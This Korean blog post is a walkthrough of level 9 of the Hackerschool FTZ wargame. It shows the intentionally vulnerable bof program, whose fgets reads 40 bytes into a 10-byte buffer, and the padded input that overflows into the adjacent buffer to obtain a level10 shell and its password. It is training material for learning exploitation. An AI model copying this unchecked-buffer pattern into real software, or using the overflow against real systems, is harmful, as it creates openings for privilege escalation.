티스토리 뷰

Pwnable/FTZ level

[hackerschool FTZ] level9

PAPICO 2017. 3. 23. 18:18

level9를 풀어보겠다.

ftz는 level9부터 bof를 시작한다. 한번 풀어보도록 하겠다.


[level9@ftz tmp]$


색이 달라진 것은 기분 탓이다.


우선 ls -al 명령어를 입력하여 디렉토리와 파일을 확인한다.


[level9@ftz level9]$ ls -al

total 80

drwxr-xr-x    4 root     level9       4096 Nov 13  2002 .

drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          391 Nov 13  2002 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level9       4096 Mar 23 18:08 tmp

-rw-------    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


hint 파일을 읽어 보겠다.


[level9@ftz level9]$ cat hint



다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.


그럼 일단 c코드를 분석해보면 


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10]; //10byte 크기 char형 배열 buf2 선언

  char buf[10]; //10byte 크기 char형 배열 buf 선언


  printf("It can be overflow : "); //출력

  fgets(buf,40,stdin); //40byte 이하 문자열을 byte에 입력받음 


  if ( strncmp(buf2, "go", 2) == 0 ) //buf2의 2byte와 "go"랑 비교

   {

        printf("Good Skill!\n"); //출력

        setreuid( 3010, 3010 ); //level10의 권한 획득

        system("/bin/bash"); //쉘 획득

   }

}


대충 각각의 코드가 하는 수행을 적어보았다.

이 코드에선 fgets라는 함수가 버퍼오버플로우를 일으킨다.

buf는 10byte이지만 40byte이하를 입력받으므로 buf를 다 채우고도 남게 된다. 남은 것은 buf를 넘쳐서 buf2로 들어가게 된다. 그럼 buf2에 go라는 문자를 잘만 넣으면 쉽게 쉘을 획득할 수 있다.


그럼 10byte + go 를 넣어 보겠다.


[level9@ftz tmp]$ bof

It can be overflow : 0123456789go

[level9@ftz tmp]$


안되네요. 그 이유는 dump 때문인데요 buf와 buf2사이에 dump가 존재하기 때문에 dump도 채워줘야 한다.

dump의 사이즈는 gdb를 이용하여 알 수도 있지만 이 문제는 쉬운 노가다로도 풀 수 있으므로 풀어보갰다.


[level9@ftz tmp]$ bof

It can be overflow : 0123456789go

[level9@ftz tmp]$

[level9@ftz tmp]$ bof

It can be overflow : 01234567891go

[level9@ftz tmp]$ bof

It can be overflow : 012345678912go

[level9@ftz tmp]$ bof

It can be overflow : 0123456789123go

[level9@ftz tmp]$ bof

It can be overflow : 01234567891234go

[level9@ftz tmp]$ bof

It can be overflow : 012345678912345go

[level9@ftz tmp]$ bof

It can be overflow : 0123456789123456go

Good Skill!

[level10@ftz tmp]$


짠! dump 6byte 인가 보다.

이제 level10의 권한을 얻었으니 my-pass를 입력해 level10의 비밀번호를 얻어보겠다.


[level10@ftz tmp]$ my-pass


Level10 Password is "interesting to hack!".


level9를 풀었다!

'Pwnable > FTZ level' 카테고리의 다른 글

[hackerschool FTZ] level8  (0) 2017.01.04
[hackerschool FTZ] level7  (2) 2017.01.03
[hackerschool FTZ] level6  (0) 2016.12.27
[hackerschool FTZ] level5  (0) 2016.12.27
[hackerschool FTZ] level4  (0) 2016.12.26
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함